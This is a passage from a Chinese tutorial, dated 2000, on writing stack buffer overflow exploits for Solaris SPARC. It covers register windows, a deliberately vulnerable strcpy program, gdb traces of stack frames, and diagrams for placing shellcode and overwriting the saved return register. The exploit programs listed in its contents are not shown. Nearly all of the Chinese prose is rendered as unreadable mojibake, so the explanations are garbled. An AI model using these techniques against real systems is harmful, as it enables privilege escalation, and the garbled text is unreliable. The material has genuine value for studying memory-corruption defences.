¡ô Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(1) ×÷Õߣºwarning3 (warning3@hotmail.com) Ö÷Ò³£ºhttp://www.nsfocus.com/ ÈÕÆÚ£º2000-5-5 ǰÑÔ£º ÖÚËùÖÜÖª£¬SolarisϵͳµÄ»º³åÇøÒç³ö©¶´¿ÉÒÔ˵ÊDzã³ö²»Ç¹¥»÷Õßͨ³£¿ÉÒÔºÜÇáÒ×µØ ÀûÓÃÕâЩ©¶´»ñµÃϵͳµÄ¿ØÖÆÈ¨¡£µ«Ä¿Ç°ËƺõºÜÉÙ¿´µ½Óн²ÈçºÎÔÚSolarisϱàдÒç³ö³Ì ÐòµÄÎÄÕ£¬Òò´ËÎÒ¾ö¶¨Ð´Ò»ÆªÕâ·½ÃæµÄÎÄÕ£¬Ö÷ÒªÊÇÅ×שÒýÓñ£¬Ï£ÍûÄÜÒýÆðһЩÌÖÂÛ£¬¹² ͬÌá¸ß£¬ÎÒµÄÄ¿µÄÒ²¾Í´ïµ½ÁË¡£ÓÉÓÚÎÒ¶ÔSPARC½á¹¹Ò²ÊǸոտªÊ¼Ñ§Ï°£¬ºÜ¶àµØ·½¶¼ÊÇÆ¾ ×Ô¼ºµÄÀí½â£¬´íÎóÊè©֮´¦ÔÚËùÄÑÃ⣬»¶Ó­ÅúÆÀÖ¸Õý¡£ ×¢: sczÒѾ­Ð´ÁËһƪºÜºÃµÄÎÄÕ£¬¹ØÓÚ±àдSolaris (SPARC)ÏÂshellcodeµÄ¡£Ïêϸ½éÉÜ ÁËshellcodeµÄ±àд¹ý³Ì£¬Í¬Ê±¶ÔSPARC½á¹¹Ò²Óзdz£Ï꾡½éÉÜ¡£Èç¹ûÏëÁ˽âshellcode±à д£¬½¨ÒéÏÈ¿´Ò»Ï¸ÃÎÄ¡£ ±¾ÎÄÖÐËùÓгÌÐò¶¼ÔÚ SunOS 5.7/5.6 Generic sun4u sparc SUNW,Ultra-5_10 ϲâÊÔͨ¹ý 1. SPARCƽ̨µÄ»ù±¾ÖªÊ¶ 1.1 ͨÓüĴæÆ÷ 1.2 ¹ý³Ìµ÷ÓûúÖÆ 2. ÆÕͨÒç³ö³ÌÐò±àд 2.1 »ù±¾Ë¼Â· 2.2 ʵÏÖ·½·¨ 2.3 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòexp.c 2.4 Ò»¸öʵ¼Ê²âÊÔ³ÌÐòµÄ±àд¹ý³Ì(lpset -a) 3. ÈÆ¹ý²»¿ÉÖ´ÐжÑÕ»±£»¤µÄÒç³ö³ÌÐò±àд 3.1 »ù±¾Ë¼Â· 3.2 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòex_noexec.c 3.3 ²»Äܵõ½root shellµÄ·ÖÎöÒÔ¼°½â¾ö·½·¨ 3.4 ¹ØÓÚ¼ÙÕ»Ö¡µØÖ·µÄÈ·¶¨ 3.5 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec.c 3.6 ÀûÓÃstrcpy()¿½±´shellcode 3.7 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec1.c 4. ½áÊøÓï 5. ²Î¿¼ÎÄÏ× ÄÚÈÝ£º 1. SPARCƽ̨µÄ»ù±¾ÖªÊ¶ SPARCƽ̨ºÍIntel x86Óкܶ಻ͬµÄµØ·½£¬ÎªÁËÀí½âSPARCϵÄÒç³ö£¬ÎÒÃÇÏÈÀ´Á˽âһϠSPARCϵļĴæÆ÷ÒÔ¼°¹ý³ÌÖ´ÐеÄÇé¿ö¡£ÏÞÓÚÆª·ù£¬ÕâÀï²»¿ÉÄÜ×÷·Ç³£Ï꾡µÄ½éÉÜ£¬ÓÐÐË È¤µÄÅóÓÑ¿ÉÒÔÈ¥²é¿´Ïà¹ØµÄ×ÊÁÏ¡£ 1.1 ͨÓüĴæÆ÷ SPARC°üº¬4×éͨÓüĴæÆ÷£¬Ã¿×é°üº¬8¸ö¼Ä´æÆ÷¡£ÆäÖÐÒ»×éÊÇÈ«¾Ö(global)¼Ä´æÆ÷,ÁíÍâÈý ×é¼Ä´æÆ÷ÊÇout,local,in.ÿ×é¼Ä´æÆ÷µÄ»ù±¾¹¹³É¼°×÷ÓÃÈçϱíËùʾ: %g0 (r00) ʼÖÕΪ0 %g1 (r01) [1] ÁÙʱֵ %g2 (r02) [2] global %g3 (r03) [2] %g4 (r04) [2] %g5 (r05) ±£Áô %g6 (r06) ±£Áô %g7 (r07) ±£Áô %o0 (r08) [3] Êä³ö²ÎÊý0/±»µ÷º¯Êýµ÷Ó÷µ»ØÖµ %o1 (r09) [1] Êä³ö²ÎÊý1 %o2 (r10) [1] Êä³ö²ÎÊý2 out %o3 (r11) [1] Êä³ö²ÎÊý3 %o4 (r12) [1] Êä³ö²ÎÊý4 %o5 (r13) [1] Êä³ö²ÎÊý5 %sp, %o6 (r14) [1] ¶ÑÕ»Ö¸Õë %o7 (r15) [1] ÁÙʱÊý¾Ý/CALLÖ¸ÁîµÄµØÖ· %l0 (r16) [3] local 0 %l1 (r17) [3] local 1 %l2 (r18) [3] local 2 local %l3 (r19) [3] local 3 %l4 (r20) [3] local 4 %l5 (r21) [3] local 5 %l6 (r22) [3] local 6 %l7 (r23) [3] local 7 %i0 (r24) [3] ÊäÈë²ÎÊý0/·µ»Ø¸øÖ÷µ÷º¯ÊýµÄÖµ %i1 (r25) [3] ÊäÈë²ÎÊý1 %i2 (r26) [3] ÊäÈë²ÎÊý2 in %i3 (r27) [3] ÊäÈë²ÎÊý3 %i4 (r28) [3] ÊäÈë²ÎÊý4 %i5 (r29) [3] ÊäÈë²ÎÊý5 %fp, %i6 (r30) [3] Õ»Ö¡Ö¸Õë %i7 (r31) [3] ( ·µ»ØµØÖ· - 8 ) ÆäÖÐout,local,inÈý×é¼Ä´æÆ÷£¨24¸ö¼Ä´æÆ÷£©×é³ÉÒ»¸ö"¼Ä´æÆ÷´°"¡£ÔÚSPARCÖпÉÒÔ°üº¬ ¶à¸ö¼Ä´æÆ÷´°¡£Ã¿¸ö¹ý³ÌÔÚÖ´ÐÐÖж¼¶ÔÓ¦Ò»¸ö¼Ä´æÆ÷´°£¬³ÆÎªµ±Ç°¼Ä´æÆ÷´°¡£Ò»¸öÌØÊ⠼ĴæÆ÷CWP£¨current window pointer)¼Ç¼µ±Ç°µÄ¼Ä´æÆ÷´°ºÅÂ롣ÿ¸ö¼Ä´æÆ÷´°µÄout,in ¼Ä´æÆ÷·Ö±ðµÈÓÚÏàÁڼĴæÆ÷´°µÄin,out¼Ä´æÆ÷¡£ÈçÏÂͼËùʾ¡£ outs[1] locals[1] ins[1] 1ºÅ¼Ä´æÆ÷´° outs[2] locals[2] ins[2] 2ºÅ¼Ä´æÆ÷´° outs[3] locals[3] ins[3] 3ºÅ¼Ä´æÆ÷´° outs[4] ... 1.2 ¹ý³Ìµ÷ÓûúÖÆ ÏÈÀ´¿´Ò»¸ö¼òµ¥µÄÎÊÌ⺯Êý£¬ËüÊÇ´æÔÚ»º³åÇøÒç³öÎÊÌâµÄ£º -------------------------------------------------------------------------- /* * vul.c * written by warning3 * gcc -o vul vul.c */ func ( char * str ) { char buf[8]; strcpy( buf, str ); printf( "%s\n", buf ); } int main ( int argc, char * argv[] ) { if ( argc > 1 ) { func( argv[1] ); } } /* end of main */ -------------------------------------------------------------------------- ÎÒÃÇÀ´·ÖÎöÒ»ÏÂËüµÄÖ´Ðйý³Ì£º [warning3@sun1 ovw]$ gcc -o h vul.c [warning3@sun1 ovw]$ gdb h GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disass main Dump of assembler code for function main: 0x10ad8
: save %sp, -112, %sp ! ·ÖÅä¶ÑÕ»¿Õ¼ä£¬±£´æ¼Ä´æÆ÷l*,i* 0x10adc : st %i0, [ %fp + 0x44 ] ! ½«²ÎÊýÒ»:argc ´æ´¢µ½[%fp + 0x44] 0x10ae0 : st %i1, [ %fp + 0x48 ] ! ½«²ÎÊý¶þ:argv ´æ´¢µ½[%fp + 0x48] 0x10ae4 : ld [ %fp + 0x44 ], %o0 ! ½«argc×°Èë%o0 0x10ae8 : cmp %o0, 1 ! ±È½ÏÊÇ·ñµÈÓÚ1 0x10aec : ble 0x10b0c ! Èç¹û<=1,·µ»Ø 0x10af0 : nop ! ÑÓ³ÙÖ¸Áî 0x10af4 : mov 4, %o0 ! Áî%o0=0x4 0x10af8 : ld [ %fp + 0x48 ], %o2 ! ½«argvÖ¸ÕëµØÖ··ÅÈë%o2 0x10afc : add %o0, %o2, %o1 ! %o2 + 4 = argv[1] 0x10b00 : ld [ %o1 ], %o0 ! ½«argv[1]µÄµØÖ·¸¶¸ø%o0 0x10b04 : call 0x10aa0 ! µ÷ÓÃ×Óº¯Êý 0x10b08 : nop ! ÑÓ³ÙÖ¸Áî 0x10b0c : ret ! ·µ»Ø 0x10b10 : restore ! »Ö¸´¶ÑÕ» End of assembler dump. (gdb) b *0x10ad8 Breakpoint 1 at 0x10ad8 (gdb) r aaaaaaaa Starting program: /space/staff/warning3/ovw/h aaaaaaaa Breakpoint 1, 0x10ad8 in main () (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x0 0 i1 0x0 0 i2 0x0 0 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0x0 0 i7 0x0 0 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0x2 2 <----- µÚÒ»¸ö²ÎÊý: argc = 2 o1 0xffbefc4c -4260788 <----- µÚ¶þ¸ö²ÎÊý: argvÖ¸Õë o2 0xffbefc58 -4260776 <----- »·¾³±äÁ¿Ö¸Õë o3 0x21998 137624 <----- Ö¸Ïò»·¾³±äÁ¿Ö¸ÕëµÄÖ¸Õë **environ o4 0x0 0 o5 0x0 0 sp 0xffbefbe8 -4260888 <----- µ±Ç°¶ÑÕ»Ö¸Õë o7 0x109bc 68028 <----- µ÷ÓÃmainº¯ÊýµÄµØÖ·:call 0x10ad8
(gdb) x/x $o1 0xffbefc4c: 0xffbefd40 (gdb) x/s 0xffbefd40 0xffbefd40: "/space/staff/warning3/ovw/h" <---- argv[0] (gdb) x/x $o1 + 4 0xffbefc50: 0xffbefd5c (gdb) x/s 0xffbefd5c 0xffbefd5c: "aaaaaaaa" <---- argv[1] (gdb) x/x $o2 0xffbefc58: 0xffbefd65 <---- »·¾³±äÁ¿µÄÆðʼµØÖ· (gdb) x/5s 0xffbefd65 0xffbefd65: "PWD=/space/staff/warning3/ovw" 0xffbefd83: "TZ=PRC" 0xffbefd8a: "_INIT_RUN_NPREV=0" 0xffbefd9c: "HZ=100" 0xffbefda3: "HOSTNAME=sun1.nsfocus.com" (gdb) x/x $o3 0x21998 : 0xffbefc58 <---- Ö¸Ïò%o2Ëù´æµÄµØÖ· (gdb) si <---- Ö´ÐÐ:save %sp, -112, %sp 0x10adc in main () Ϊmain()ÉèÖöÑÕ»¿Õ¼ä (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 <---- ½«¼Ä´æÆ÷×éoutÈ«²¿»»Îªin i0 0x2 2 i1 0xffbefc4c -4260788 i2 0xffbefc58 -4260776 i3 0x21998 137624 i4 0x0 0 i5 0x0 0 fp 0xffbefbe8 -4260888 <---- Ô­À´µÄ%sp±ä³É%fp i7 0x109bc 68028 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 <---- ´´½¨ÐµļĴæÆ÷×éout o0 0x0 0 o1 0x0 0 o2 0x0 0 o3 0x0 0 o4 0x0 0 o5 0x0 0 sp 0xffbefb78 -4261000 <---- еÄsp(o6)= Ô­À´µÄsp - 112(0x70) o7 0x0 0 ÕâʱºòsaveÖ¸ÁîÒѾ­¼ÆËãÁ˺¯Êý¶ÑÕ»Ö¡µÄ³¤¶ÈΪ112×Ö½Ú£¬Òò´Ë£¬½«µ±Ç°¶ÑÕ»Ö¸ÕëÇ°ÒÆ112 ×Ö½Ú,Ϊ±£Áô¼Ä´æÆ÷ÒÔ¼°·ÖÅä±äÁ¿Áô³ö¿Õ¼ä£¬Ö¸Ïò¶ÑÕ»¿ªÍ· (gdb) x/8xw $sp <---- ½«l0 - l7´æÈë$spµÍ¶Ë 0xffbefb78: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbefb88: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/8xw $sp + 32 <---- ½«i0 - i7´æÈë$sp+32´¦ 0xffbefb98: 0x00000002 0xffbefc4c 0xffbefc58 0x00021998 0xffbefba8: 0x00000000 0x00000000 0xffbefbe8 0x000109bc ----¡¢---- ¡¢_£¨·µ»ØµØÖ·-8£© ÖµµÃ×¢ÒâµÄÊÇ£¬l0-l7,i0-i7¼Ä´æÆ÷µÄÖµ±£´æµ½ÁËmain()¶ÑÕ»µÄ¿ªÍ·´¦£¬ÆäÖÐi7±£´æµÄÖµ ÊÇ call
Ö¸ÁîµÄµØÖ·£¬Ò²¾ÍÊÇ£¨·µ»ØµØÖ·-8£©¡£ (gdb) x/2x $fp + 0x44 0xffbefc2c: 0x00000000 0x00000000 (gdb) si <---- st %i0, [ %fp + 0x44 ] 0x10ae0 in main () (gdb) x/2x $fp + 0x44 °Ñ²ÎÊý1(argc)´æ´¢µ½[ %fp + 0x44 ] 0xffbefc2c: 0x00000002 0x00000000 (gdb) si <---- st %i1, [ %fp + 0x48 ] 0x10ae4 in main () (gdb) x/2x $fp + 0x44 °Ñ²ÎÊý2(**argv)µØÖ·´æµ½[ %fp + 0x48 ] 0xffbefc2c: 0x00000002 0xffbefc4c ÎÒÃÇ¿ÉÒÔ¿´µ½Ò»¸öÓÐȤµÄÏÖÏó£¬main()º¯Êý½«ËüµÄ²ÎÊý·Åµ½ÁË%fp + 0x44¿ªÊ¼µÄµØÖ·¡£ 0x44=68=(8 + 8 + 1)*4 , %fpÆäʵÊǵ÷ÓÃmainº¯Êý֮ǰµÄ¶ÑÕ»Ö¸Õ룬Ҳ¾ÍÊÇ<_start> º¯ÊýµÄ¶ÑÕ»Ö¸Õ룬%fp´¦´æ´¢µÄÊÇl0-l7,%fp + 32´¦´æ´¢µÄÊÇi0-i7, %fp + 64´¦(4¸ö×Ö ½Ú)ÊÇÓÃÀ´´æ·Åmain()º¯ÊýµÄ·µ»ØÖµµÄ¡£¶ø %fp + 68 ¿ªÊ¼ÓÃÀ´´æ·Å main()º¯ÊýµÄ²ÎÊý ¡£Ò²¾ÍÊÇ˵£ºÔÚsolarisµ×Ï£¬±»µ÷º¯ÊýµÄ²ÎÊýÊÇ·ÅÔÚÖ÷µ÷º¯ÊýµÄ¶ÑÕ»Õ»Ö¡Öеġ£ (gdb) b *0x10b00 <---- ÖмäµÄ¾Í²»¿´ÁË£¬Ã»Ê²Ã´Ìرð Breakpoint 2 at 0x10b00 (gdb) c Continuing. Breakpoint 2, 0x10b00 in main () (gdb) i r o0 o0 0x4 4 (gdb) si <---- ½«"aaaaaaa"µÄµØÖ·´«¸ø%o0 0x10b04 in main () <---- ÏÂÒ»ÌõÖ¸ÁîµØÖ·ÊÇ0x10b04 (gdb) x/s $o0 0xffbefd5c: "aaaaaaaa" (gdb) i r o7 o7 0x0 0 <---- o7ÏÖÔÚÊÇ0 (gdb) si <---- Ö´ÐÐcall µ÷Óà 0x10b08 in main () (gdb) i r o7 o7 0x10b04 68356 <---- ÏÖÔÚo7±ä³ÉÁË0x10b04£ºcall µÄµØÖ· (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0xffbefd5c -4260516 o1 0xffbefc50 -4260784 o2 0xffbefc4c -4260788 o3 0x0 0 o4 0x0 0 o5 0x0 0 sp 0xffbefb78 -4261000 o7 0x10b04 68356 (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x2 2 i1 0xffbefc4c -4260788 i2 0xffbefc58 -4260776 i3 0x21998 137624 i4 0x0 0 i5 0x0 0 fp 0xffbefbe8 -4260888 i7 0x109bc 68028 (gdb) i r pc pc 0x10b08 68360 (gdb) si <---- Ö´ÐÐÑÓʱָÁî 0x10aa0 in func () (gdb) i r pc <---- ½«%pcÉèÖõ½¿ªÊ¼ pc 0x10aa0 68256 (gdb) si <---- Ö´ÐÐsave %sp, -120, %spÖ¸Áî 0x10aa4 in func () (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 <---- ´´½¨ÐµļĴæÆ÷×éout o0 0x0 0 o1 0x0 0 o2 0x0 0 o3 0x0 0 o4 0x0 0 o5 0x0 0 sp 0xffbefb00 -4261120 <---- ½«spÖ¸Ïò sp - 120 o7 0x0 0 (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 <---- ½«out»»³Éin i0 0xffbefd5c -4260516 i1 0xffbefc50 -4260784 i2 0xffbefc4c -4260788 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0xffbefb78 -4261000 <---- main()µÄ¶ÑÕ»Ö¸Õë±ä³ÉÁË%fp i7 0x10b04 68356 <---- func()µÄ·µ»ØµØÖ·-8 (gdb) disass func Dump of assembler code for function func: 0x10aa0 : save %sp, -120, %sp 0x10aa4 : st %i0, [ %fp + 0x44 ] 0x10aa8 : add %fp, -24, %o1 0x10aac : mov %o1, %o0 0x10ab0 : ld [ %fp + 0x44 ], %o1 0x10ab4 : call 0x216f0 0x10ab8 : nop 0x10abc : add %fp, -24, %o1 0x10ac0 : sethi %hi(0x11400), %o2 0x10ac4 : or %o2, 0x268, %o0 ! 0x11668 <_lib_version+8> 0x10ac8 : call 0x216fc 0x10acc : nop 0x10ad0 : ret 0x10ad4 : restore End of assembler dump. ´ÓÕâÀïÎÒÃÇÓ¦¸Ã¿ÉÒÔ¿´µ½SPARCº¯Êýµ÷ÓõĻù±¾Á÷³ÌÁË Ö÷µ÷º¯Êý ±»µ÷º¯Êý ------ ------ main * * call func nop -------\ | \---> func: save %sp, -framesize, %sp * * * * ret restore | * <------------------/ * * * ¼òµ¥½éÉÜÒ»ÏÂËĸö³£ÓÃÖ¸ÁîµÄ¹¦ÄÜ£º <1> callÖ¸Áµ±Ç°callÖ¸ÁîµÄµØÖ·±£´æµ½¼Ä´æÆ÷%o7ÖÐ,È»ºó½«¿ØÖÆ×ªÏòfunc()¡£ callºóÃæµÄnopÖ¸ÁîÊÇÒ»¸öÑÓ³Ù²Ù×÷¡£µ±´Ófunc()Öзµ»Ø(ret)µÄʱºò£¬Ó¦¸ÃÌøµ½nop ºóÃæµÄµØÖ·(%o7+8)È¥Ö´ÐÐ,Òò´Ë£¬%o7Öб£´æµÄÖµÊÇ·µ»ØµØÖ·-8. <2> saveÖ¸ÁîÍê³ÉÈçϲÙ×÷£º 1. ¼ÆËã±¾µ÷Óùý³ÌµÄÕ»Ö¡´óС£¬¸ù¾ÝÖ÷µ÷º¯ÊýµÄ%sp(%o6)¼ÆË㵱ǰ¶ÑÕ»Ö¸ÕëµÄÐÂµØ Ö· 2. ½«¼Ä´æÆ÷´°ºÅ¼õÒ» 3. ÔÙ½«¾ÉµÄ¼Ä´æÆ÷"out"¸ÄÃûΪ"in". ÕâÑù£¬Ö÷µ÷º¯ÊýmainµÄ¶ÑÕ»Ö¸Õë(%sp/%o6)¾Í ±£´æµ½(%fp/%i6)ÖÐ,func()µÄ·µ»ØµØÖ·Ò²±£´æµ½ÁË%i7ÖÐ 4. È»ºóSave»á´´½¨ÐµÄ"out"ºÍ"local"¼Ä´æÆ÷×飬Ȼºó½«µ±Ç°¶ÑÕ»µÄµØÖ·(%sp)±£ ´æµ½%o6(×¢Ò⣺ÕâÀïÊDZ»µ÷º¯ÊýµÄ%o6)ÖС£ 5. ½«%l0-%l7±£´æµ½(%sp)´¦£¬½«%i0-%i7±£´æµ½(%sp+32)´¦, <3> retÖ¸ÁîÊǸöºÏ³ÉÖ¸ÁµÈ¼ÛÓÚjmpl %i7+8, %g0.Ëü½«Ìø×ªµ½%i7+8´¦.ÓÉÓÚ%i7Öб£´æ µÄÖµÊÇcallÖ¸ÁîµÄµØÖ·,ËùÒÔ³ÌÐò¾ÍÌøµ½ÕýÈ·µÄµØÖ·(Ìø¹ýcallºóÃæµÄÑÓ³ÙÖ¸ÁîNOP)È¥ Ö´ÐÐÁË¡£ <4> restoreÒ²ÊǸöºÏ³ÉÖ¸ÁËü½«¼Ä´æÆ÷´°ºÅÔö¼ÓÒ»£¬È»ºó½«"in"¼Ä´æÆ÷×é¸ÄÃûΪ"out" ,²¢½«Ö÷µ÷º¯Êý±£´æÔÚ¶ÑÕ»ÖеÄ%i0-%i7(%fp+32¿ªÊ¼)ºÍ%l0-%l7(%fp¿ªÊ¼)»Ö¸´µ½Ð嵀 "in"ºÍ"local"¼Ä´æÆ÷×éÖÐ,ÕâÑùmain()µÄÈý×é¼Ä´æÆ÷¾Í»Ö¸´³ÉÔ­×´ÁË¡£ ÎÒÃÇÔÙÀ´¿´Ò»ÏÂÖ´Ðйý³Ìµ÷ÓÃʱ¶ÑÕ»ÖеÄÄÚ´æ·ÖÅäÇé¿ö: ±»µ÷Óùý³ÌµÄ¶ÑÕ»£¨ÔÚÖ´ÐÐÁËsaveÖ¸ÁîÒÔºó) ================================================ ¶ÑÕ»µÍÖ· ___________ ___________ %sp ( func() ) %sp | %l0-%l7 | 8*4 ±£´æfunc()µÄ%l0-%l7¼Ä´æÆ÷ |__________| %sp+32 | %i0-%i7 | 8*4 ±£´æfunc()µÄ%i0-%i7¼Ä´æÆ÷ (%i7°üº¬func()µÄ·µ»ØµØÖ·) |__________| %sp+64 |·µ»ØÖµµØÖ·| 1*4 ΪÏÂÒ»¸ö±»µ÷º¯Êý±£ÁôµÄ·µ»ØÖµµØÖ·¿Õ¼ä |__________| %sp+68 | ²ÎÊýµØÖ· | 6*4 ΪÏÂÒ»¸ö±»µ÷º¯Êý±£Áô(ǰ6¸ö)²ÎÊýµÄ¿Õ¼ä |__________| %sp+92 | ²ÎÊýµØÖ· | n*4 n>=1 Èç¹ûÏÂÒ»¸ö±»µ÷º¯ÊýµÄ²ÎÊý>6£¬¶à³öµÄ²ÎÊýÔÚÕâÀï·ÖÅä |__________| |¾Ö²¿±äÁ¿ | | .... | n*8 Ϊfunc()µÄ¾Ö²¿±äÁ¿·ÖÅä¿Õ¼ä,ÿ8¸ö×Ö½ÚΪһ¸ö·ÖÅäµ¥Ôª | | |__________| | ÁÙÊ±ÇøÓò | 4*4 C±àÒëÆ÷ÓÃÀ´¼ÆËã±í´ïʽʱ´¢´æÒ»Ð©ÁÙʱ±äÁ¿µÄÇøÓò |__________|___________ %fp ( main() ) %fp | %l0-%l7 | 8*4 ±£´æmain()µÄ%l0-%l7¼Ä´æÆ÷ |__________| %fp+32 | %i0-%i7 | 8*4 ±£´æmain()µÄ%i0-%i7¼Ä´æÆ÷(%i7°üº¬main()µÄ·µ»ØµØÖ·) |__________| %fp+64 |·µ»ØÖµµØÖ·| 1*4 ΪÏÂÒ»¸ö±»µ÷º¯Êý(ÕâÀïÊÇfunc())±£ÁôµÄ·µ»ØÖµµØÖ·¿Õ¼ä |__________| %fp+68 | ²ÎÊýµØÖ· | 6*4 ΪÏÂÒ»¸ö±»µ÷º¯Êý(ÕâÀïÊÇfunc())±£Áôǰ6¸ö²ÎÊýµÄµØÖ·¿Õ¼ä |__________| %fp+92 | ²ÎÊýµØÖ· | n*4 n>=1 Èç¹ûÏÂÒ»¸ö±»µ÷º¯ÊýµÄ²ÎÊý>6£¬¶à³öµÄ²ÎÊýÔÚÕâÀï·ÖÅä |__________| |¾Ö²¿±äÁ¿ | | .... | n*8 Ϊmain()µÄ¾Ö²¿±äÁ¿·ÖÅä¿Õ¼ä,ÿ8¸ö×Ö½ÚΪһ¸öµ¥Ôª | | |__________| | ±£ÁôÇøÓò | 4*4 4¸ö×ֵı£ÁôÇøÓò |__________| | %l0-%l7 | |__________| .... ¶ÑÕ»¸ßÖ· 2. ÆÕͨÒç³ö³ÌÐò±àд 2.1 »ù±¾Ë¼Â· ´ÓÇ°ÃæËù½²µÄº¯Êýµ÷ÓõĹý³Ì¿ÉÒÔÖªµÀ£¬ÎÒÃÇÊDz»¿ÉÄܸ²¸Çµ±Ç°º¯ÊýµÄ·µ»ØµØÖ·µÄ£¬Òò Ϊµ±Ç°º¯ÊýµÄ·µ»ØµØÖ·ÊDZ£´æÔڼĴæÆ÷%i7Öеģ¬È»¶ø£¬ÎÒÃÇ¿ÉÒÔ¸²¸Çµ±Ç°º¯ÊýµÄÖ÷µ÷ º¯ÊýµÄÕ»Ö¡£¬¼´%fpÍùºóµÄÇøÓò£¬ÕâÀï±£´æÓÐÖ÷µ÷º¯ÊýµÄ%l0-%l7ºÍ%i0-%i7. ÒÔÉÏÃæµÄ³ÌÐòΪÀý£¬Ö»ÒªÊäÈë(n*8 + 4*4 + 8*4 + 8*4)¸ö×Ö½Ú³¤µÄÊý¾Ý£¬¾Í¿ÉÒÔÍêÈ« ¸²¸Çmain()º¯Êý±£´æµÄ%l0-%l7ºÍ%i0-%i7,ÕâÑù£¬µ±func()Ö´ÐÐÍêrestoreÖ¸Áîºó£¬¾Í»á ½«ÎÒÃÇÐ޸ĹýµÄ¶ÑÕ»ÄÚÈݻָ´µ½inºÍlocal¼Ä´æÆ÷ÖС£¶øµ±main()º¯ÊýÖ´ÐÐretÖ¸Áî·µ»Ø ʱ£¬¾ÍÌøµ½(%i7+8)µÄµØÖ·È¥ÔËÐÐÁË£¬Ö»ÒªÔÚÕâ¸öµØÖ·ÊÂÏÈ·ÅÈëÎÒÃǵÄshellcode¾ÍÐÐÁË¡£ Òò´Ë£¬ÔÚSPARCƽ̨ÏÂÃæ£¬ÎÒÃÇÖÁÉÙÐèÒªÁ½´Î·µ»Ø²ÅÄÜÍê³É¹¥»÷¡£ÕâºÍi386ÏÂÊDz»Ò»Ñù µÄ¡£ÕâÒ²Òâζ×Å£¬Èç¹ûÔÚmain()º¯ÊýÖдæÔÚÒç³ö©¶´£¬ÄãÊDz»¿ÉÄܹ¥»÷³É¹¦µÄ¡£ÒòΪÔÚ ´Ómain()·µ»Øºó£¬Í¨³£<_start>»áµ÷ÓûòÕß<_exit>Í˳ö£¬Òò´ËÄã²»¿ÉÄÜÔÙÐÞ¸Ä ¼Ä´æÆ÷%i7µÄÖµ²¢Ìøµ½ÄÇÀïÖ´ÐС£ÀýÈ磬ÏóÕâÑùµÄ³ÌÐòÊDz»¿ÉÄܽøÐÐÒç³ö¹¥»÷µÄ£¬ÓÐÐË È¤µÄÈË¿ÉÒÔÊÔÒ»ÊÔ¡£ /* vul1.c */ int main(int argc, char **argv) { char buf[8]; strcpy(buf,argv[1]); } /* end of vul1.c */ 2.2 ʵÏÖ·½·¨ Àí½âÁËÉÏÃæµÄº¯Êýµ÷ÓõĹý³ÌÖ®ºó£¬ÄÇôд¹¥»÷³ÌÐòÆäʵ¾ÍºÍLinuxºÜÏàËÆÁË¡£Ö»ÒªÓ÷µ »ØµØÖ·¸²¸Ç±£´æµÄ%i7¾Í¿ÉÒÔÁË£¬Ê¾ÒâͼÈçÏ£º µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 ------------------------------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | -------------------------------------------- | NOPNOP...SHELLCODE| RET ... RET | -------------------------------------------- ^ | | \------------------------/ ¹ØÓÚSPARCƽ̨ÏÂshellcodeµÄ±àд£¬¿ÉÒԲο´sczµÄ<>£¬ÕâÀï²»ÔÙ׸Êö¡£ Èç¹ûbuffer±È½ÏС£¬·Å²»ÏÂÎÒÃǵÄshellcode£¬ÓÐÁ½ÖÖ·½·¨¿ÉÒÔ½â¾ö: Ò»Êǽ«"NOP...NOP..SHELLCODE"²¿·ÖÒÆµ½"RET..."ºóÃæ£¬ µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 ---------------------------------------------------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | ..... | ---------------------------------------------------------------- | RET ... RET ... RET | NOPNOP...SHELLCODE | ---------------------------------------------------------------- | ^ | | \--------------------------/ ¶þÊǽ«shellcode·Åµ½»·¾³±äÁ¿ÖÐÈ¥£¬½«RETÖ¸Ïò»·¾³±äÁ¿£¬ µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 environ ------------------------------------------- --------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | | ..... | ------------------------------------------- --------------------- | RET ... RET ... RET | | NOPNOP...SHELLCODE | -------------------------------------------- ------------------- | ^ | | \-----------------------------/ ²ÉÓÃÄÄÖÖ·½·¨ÀíÂÛÉ϶¼ÊÇ¿ÉÒԵġ£ÔÚÕâÀïÎÒÖ»¾ÙÒ»¸öÀý×Ó£¬Ê¹Óû·¾³±äÁ¿À´´æ·ÅÎÒÃÇµÄ shellcode.ÐèҪעÒâµÄÎÊÌâÊÇ£¬ (1) ÕâÀïµÄNOPÖ¸ÁîÊÇ4¸ö×Ö½ÚµÄÖ¸ÁÕâÒªÇóÎÒÃǵķµ»ØµØÖ·±ØÐëÖ¸ÏòNOPÖ¸ÁîµÄµÚÒ»¸ö ×Ö½ÚÔÚi386ÖÐ,NOPÖ¸ÁîÊÇÒ»¸ö×Ö½Ú£¬Òò´Ë£¬ÒªÇó²¢²»ÕâôÑϸñ) (2) NOPÖ¸ÁîµÄÆðʼµØÖ·±ØÐëÔÚ4×ֽڱ߽çÉÏ£¨Äܱ»ËÄÕû³ý)£¬·ñÔò½«µ¼ÖÂ×ÜÏß´íÎó¡£ (3) 